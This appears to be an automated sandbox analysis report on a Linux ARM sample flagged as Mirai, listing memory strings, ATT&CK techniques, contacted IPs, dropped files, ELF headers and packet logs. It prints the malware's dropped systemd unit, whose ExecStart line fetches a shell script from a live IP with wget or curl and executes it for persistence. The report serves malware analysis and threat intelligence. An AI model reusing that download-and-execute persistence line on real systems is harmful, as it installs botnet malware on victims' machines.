Source: arm.elf, 6276.1.00005618be34f000.00005618be49e000.rw-.sdmp	Binary or memory string: P /var/lib/vmware/VGAuthQ
Source: arm.elf, 6276.1.00007f645c045000.00007f645c251000.rw-.sdmp	Binary or memory string: (/var/lib/vmware/VGAuth/aliasStore
Source: arm.elf, 5822.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.CjSZ5o
Source: arm.elf, 5822.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6005.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6007.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6013.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6021.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6023.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6029.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6037.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6039.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6084.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6086.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6114.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6115.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6126.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6128.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6137.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6140.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6169.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm.elf
Source: arm.elf, 6276.1.00005618be34f000.00005618be49e000.rw-.sdmp	Binary or memory string: V/arm/var/lib/vmwareA
Source: arm.elf, 5822.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6005.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6007.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6013.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6021.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6023.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6029.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6037.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6039.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6084.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6086.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6114.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6115.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6126.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6128.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6137.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6140.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6169.1.00005618be34f000.00005618be49e000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm.elf, 6276.1.00007f645c045000.00007f645c251000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuth
Source: arm.elf, 5822.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6005.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6007.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6013.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6021.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6023.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6029.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6037.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6039.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6084.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6086.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6114.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6115.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6126.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6128.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6137.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6140.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp, arm.elf, 6169.1.00007ffec9cb8000.00007ffec9cd9000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm.elf, 5822.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6005.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6007.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6013.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6021.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6023.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6029.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6037.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6039.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6084.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6086.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6114.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6115.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6126.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6128.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6137.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6140.1.00005618be34f000.00005618be49e000.rw-.sdmp, arm.elf, 6169.1.00005618be34f000.00005618be49e000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm
Source: arm.elf, 6276.1.00005618be34f000.00005618be49e000.rw-.sdmp	Binary or memory string: V/arm/var/lib/vmware/VGAuth/aliasStoreP /var/lib/PackageKitQ`
Source: arm.elf, 6276.1.00007f645c034000.00007f645c045000.rw-.sdmp	Binary or memory string: $/tmp/vmware-root_724-2965906890
Source: arm.elf, 6276.1.00007f645c034000.00007f645c045000.rw-.sdmp	Binary or memory string: `/tmp/systemd-private-d76496b72bf2487abe78ff63f093d446-systemd-timedated.service-yXFFHg/tmpP/tmp/systemd-private-d76496b72bf2487abe78ff63f093d446-fwupd.service-uNmslg4/tmp/vmware-root_724-29659068904tV
Source: arm.elf, 6276.1.00007f645c045000.00007f645c251000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuth4/var/lib/NetworkManagerxM

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	1 Systemd Service	1 Systemd Service	1 Hidden Files and Directories	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Scripting	Boot or Logon Initialization Scripts	1 Indicator Removal	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm.elf	55%	ReversingLabs	Linux.Trojan.Mirai
arm.elf	100%	Avira	EXP/ELF.Mirai.W

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://154.216.20.138/auto.sh;	0%	Avira URL Cloud	safe
http://154.216.20.138/auto.sh	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
tcpdown.su	45.200.149.96	true	false	high
tcpdown.su\|1	unknown	unknown	false	unknown
tcpdown.suo. [malformed]	unknown	unknown	true	unknown
tcpdown.su	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://154.216.20.138/auto.sh;	arm.elf, startup_command.service.13.dr	false	Avira URL Cloud: safe	unknown
http://154.216.20.138/auto.sh	startup_command.service.13.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
107.175.130.16	unknown	United States		36352	AS-COLOCROSSINGUS	false
23.94.242.130	unknown	United States		36352	AS-COLOCROSSINGUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
107.175.130.16	sparc.elf	Get hash	malicious	Unknown	Browse
	m68k.elf	Get hash	malicious	Unknown	Browse
	i686.elf	Get hash	malicious	Unknown	Browse
	i586.elf	Get hash	malicious	Unknown	Browse
	sh4.elf	Get hash	malicious	Unknown	Browse
	powerpc.elf	Get hash	malicious	Unknown	Browse
	i586.elf	Get hash	malicious	Unknown	Browse
	m68k.elf	Get hash	malicious	Unknown	Browse
	sparc.elf	Get hash	malicious	Unknown	Browse
	i686.elf	Get hash	malicious	Unknown	Browse
23.94.242.130	sparc.elf	Get hash	malicious	Unknown	Browse
	powerpc.elf	Get hash	malicious	Unknown	Browse
	sparc.elf	Get hash	malicious	Unknown	Browse
	x86_64.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	mips.elf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tcpdown.su	sparc.elf	Get hash	malicious	Unknown	Browse	45.200.149.95
tcpdown.su	sparc.elf	Get hash	malicious	Unknown	Browse	45.200.149.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	sparc.elf	Get hash	malicious	Unknown	Browse	23.94.242.130
	m68k.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	i686.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	i586.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	momo.mips.elf	Get hash	malicious	Mirai	Browse	23.94.40.4
	bash.elf	Get hash	malicious	Unknown	Browse	107.173.129.144
	cats.elf	Get hash	malicious	ConnectBack	Browse	107.173.129.144
	DEMONS.sh4.elf	Get hash	malicious	Unknown	Browse	172.245.26.218
	sh4.elf	Get hash	malicious	Unknown	Browse	23.94.37.42
	powerpc.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
AS-COLOCROSSINGUS	sparc.elf	Get hash	malicious	Unknown	Browse	23.94.242.130
	m68k.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	i686.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	i586.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	momo.mips.elf	Get hash	malicious	Mirai	Browse	23.94.40.4
	bash.elf	Get hash	malicious	Unknown	Browse	107.173.129.144
	cats.elf	Get hash	malicious	ConnectBack	Browse	107.173.129.144
	DEMONS.sh4.elf	Get hash	malicious	Unknown	Browse	172.245.26.218
	sh4.elf	Get hash	malicious	Unknown	Browse	23.94.37.42
	powerpc.elf	Get hash	malicious	Unknown	Browse	104.168.33.8

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/etc/systemd/system/startup_command.service

Download File

Process:	/tmp/arm.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	361
Entropy (8bit):	5.16738909970438
Encrypted:	false
SSDEEP:	6:z8jvIERZAMzdK+KOnFfltZCrXbcCmBNcCm4RcCmO/Ls7QkhILQmWA4Rv:z+vIERZAOK+PCrXIpiQuj73GLHWrv
MD5:	AF7D62B73266E0B457B114FE91F7E926
SHA1:	11261AEF4573B56B67B32020049C69C7282FC212
SHA-256:	14CB525E5A6B8AAF20C38672F8A9F974A684990888214848818326A739906642
SHA-512:	3926FBB53496C3AAA34CC782BD5C8379E0AB94B11FE4E63BBBFEAC4E2B5057369C94BBE25AC56C3F04363076C91B978F9199FED97C5ED8377A6DC852B01EBFD9
Malicious:	false
Reputation:	low
Preview:	[Unit].Description=Startup Command.After=network.target..[Service].ExecStart=cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.20.138/auto.sh \|\| busybox wget http://154.216.20.138/auto.sh \|\| curl -O http://154.216.20.138/auto.sh; chmod 777 auto.sh; ./auto.sh (null).RemainAfterExit=yes..[Install].WantedBy=multi-user.target.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/tmp/qemu-open.CjSZ5o (deleted)

Download File

Process:	/tmp/arm.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	3.3927474104487847
Encrypted:	false
SSDEEP:	3:Tg7G:Tgy
MD5:	060C950602AE5DFAF583473721C0D328
SHA1:	91D13B439729088DC17F1E0519970D82C56F2B07
SHA-256:	F8D4586FDF6230A2D5F431EF44BABDF37F6D7CEDBB3560702B0DC8493DD44EE3
SHA-512:	000D50E0A5736B0AB3B1BF61F55911914808FA197365B10F61F24096E2959ADAC2C3FF0D9ED226AD99934093F9FDD1C7035A22EEB5091DF75402A0A26E7A84AC
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/arm.elf.

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	5.915014488543179
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm.elf
File size:	84'632 bytes
MD5:	e4c06f131d9c9081859ab1071b6fa221
SHA1:	b08a82702d62782a9d64b8b5607300ac513c6992
SHA256:	bde1f436368a6eb6cc655643b4a463d4e83e064db00ce12a48d9d3ee6a2ffc99
SHA512:	cd1c52ad973e598556969f46455655e00eaba09464c1cff703b56a7a8a6e47793bee62770228b4e5950766b726baa54c5fb0b49e7a35256d8bc1ac7a864b0f9d
SSDEEP:	1536:boViXgeg8lbip2Mq/UrMFswJflvwT7F/LEHRn7r6sSHv44:boV/KH1WwJtYT7RLEJfe44
TLSH:	F1833991BC815613C5C5127BFB6E428D372A23A8D3EF3207DD266F21378692B0E77246
File Content Preview:	.ELF...a..........(.........4....I......4. ...(......................E...E...............E...E...E..................Q.td..................................-...L."...gF..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	84232
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x119d4	0x0	0x6	AX	16
.fini	PROGBITS	0x19a84	0x11a84	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x19a98	0x11a98	0x2a6c	0x0	0x2	A	4
.ctors	PROGBITS	0x24508	0x14508	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x24510	0x14510	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x2451c	0x1451c	0x3ac	0x0	0x3	WA	4
.bss	NOBITS	0x248c8	0x148c8	0xe714	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x148c8	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x14504	0x14504	5.9437	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x14508	0x24508	0x24508	0x3c0	0xead4	2.7846	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 00:49:20.298429012 CET	38196	2601	192.168.2.15	23.94.242.130
Jan 7, 2025 00:49:20.303272963 CET	2601	38196	23.94.242.130	192.168.2.15
Jan 7, 2025 00:49:20.303354979 CET	38196	2601	192.168.2.15	23.94.242.130
Jan 7, 2025 00:49:20.306390047 CET	38196	2601	192.168.2.15	23.94.242.130
Jan 7, 2025 00:49:20.311119080 CET	2601	38196	23.94.242.130	192.168.2.15
Jan 7, 2025 00:49:20.311157942 CET	38196	2601	192.168.2.15	23.94.242.130
Jan 7, 2025 00:49:20.315951109 CET	2601	38196	23.94.242.130	192.168.2.15
Jan 7, 2025 00:49:20.954230070 CET	2601	38196	23.94.242.130	192.168.2.15
Jan 7, 2025 00:49:20.954484940 CET	38196	2601	192.168.2.15	23.94.242.130
Jan 7, 2025 00:49:20.954484940 CET	38196	2601	192.168.2.15	23.94.242.130
Jan 7, 2025 00:49:25.317243099 CET	44026	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:25.322061062 CET	7722	44026	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:25.322170019 CET	44026	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:25.324166059 CET	44026	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:25.324166059 CET	44026	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:25.328927040 CET	7722	44026	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:25.334681988 CET	44028	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:25.339468956 CET	7722	44028	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:25.340097904 CET	44028	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:25.375766039 CET	7722	44026	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:25.401616096 CET	44028	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:25.401616096 CET	44028	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:25.407140970 CET	7722	44028	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:25.450793028 CET	7722	44028	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:25.611455917 CET	44030	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:25.616334915 CET	7722	44030	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:25.616410017 CET	44030	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:25.621458054 CET	44030	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:25.621769905 CET	44030	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:25.626183033 CET	7722	44030	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:25.666750908 CET	7722	44030	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:25.690288067 CET	7722	44026	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:25.690397978 CET	44026	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:25.727853060 CET	7722	44028	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:25.727996111 CET	44028	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:26.007669926 CET	7722	44030	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:26.007771015 CET	44030	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:27.186788082 CET	44032	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:27.191673994 CET	7722	44032	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:27.191766977 CET	44032	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:27.194051027 CET	44034	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:27.195703030 CET	44032	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:27.195703030 CET	44032	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:27.198796988 CET	7722	44034	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:27.200541973 CET	7722	44032	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:27.204293966 CET	44034	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:27.233859062 CET	44034	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:27.233952999 CET	44034	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:27.238749027 CET	7722	44034	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:27.242774010 CET	7722	44032	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:27.282809973 CET	7722	44034	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:27.473781109 CET	44036	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:27.478807926 CET	7722	44036	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:27.478868008 CET	44036	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:27.481717110 CET	44036	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:27.481798887 CET	44036	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:27.486521006 CET	7722	44036	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:27.526777983 CET	7722	44036	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:27.580230951 CET	7722	44032	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:27.580298901 CET	44032	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:27.584527969 CET	7722	44034	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:27.584588051 CET	44034	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:27.854850054 CET	7722	44036	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:27.854909897 CET	44036	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:32.212325096 CET	44038	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:32.217335939 CET	7722	44038	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:32.217395067 CET	44038	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:32.219228983 CET	44038	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:32.219300032 CET	44038	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:32.224005938 CET	7722	44038	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:32.239847898 CET	44040	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:32.244749069 CET	7722	44040	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:32.244831085 CET	44040	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:32.266841888 CET	7722	44038	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:32.313591957 CET	44040	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:32.313627005 CET	44040	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:32.318485975 CET	7722	44040	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:32.358798981 CET	7722	44040	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:32.581935883 CET	7722	44038	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:32.582035065 CET	44038	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:32.637438059 CET	7722	44040	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:32.640007019 CET	44040	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:37.248425961 CET	44042	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:37.251885891 CET	44044	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:37.253314972 CET	7722	44042	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:37.253371000 CET	44042	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:37.254120111 CET	44042	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:37.254190922 CET	44042	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:37.256679058 CET	7722	44044	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:37.258991957 CET	7722	44042	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:37.263183117 CET	44044	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:37.273471117 CET	44044	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:37.273561001 CET	44044	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:37.278227091 CET	7722	44044	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:37.306818962 CET	7722	44042	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:37.322766066 CET	7722	44044	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:37.621992111 CET	7722	44042	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:37.622085094 CET	44042	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:37.644067049 CET	7722	44044	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:37.644140005 CET	44044	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:42.351227999 CET	44046	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:42.353411913 CET	44048	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:42.356298923 CET	7722	44046	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:42.356379032 CET	44046	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:42.357111931 CET	44046	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:42.357198000 CET	44046	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:42.358331919 CET	7722	44048	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:42.358417988 CET	44048	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:42.361906052 CET	7722	44046	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:42.372092009 CET	44048	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:42.372165918 CET	44048	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:42.376972914 CET	7722	44048	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:42.402839899 CET	7722	44046	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:42.422962904 CET	7722	44048	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:42.722923040 CET	7722	44048	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:42.723007917 CET	44048	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:42.724643946 CET	7722	44046	107.175.130.16	192.168.2.15
Jan 7, 2025 00:49:42.727993011 CET	44046	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:47.313483953 CET	44050	7722	192.168.2.15	107.175.130.16
Jan 7, 2025 00:49:47.318353891 CET	7722	44050	107.175.130.16	192.168.2.15
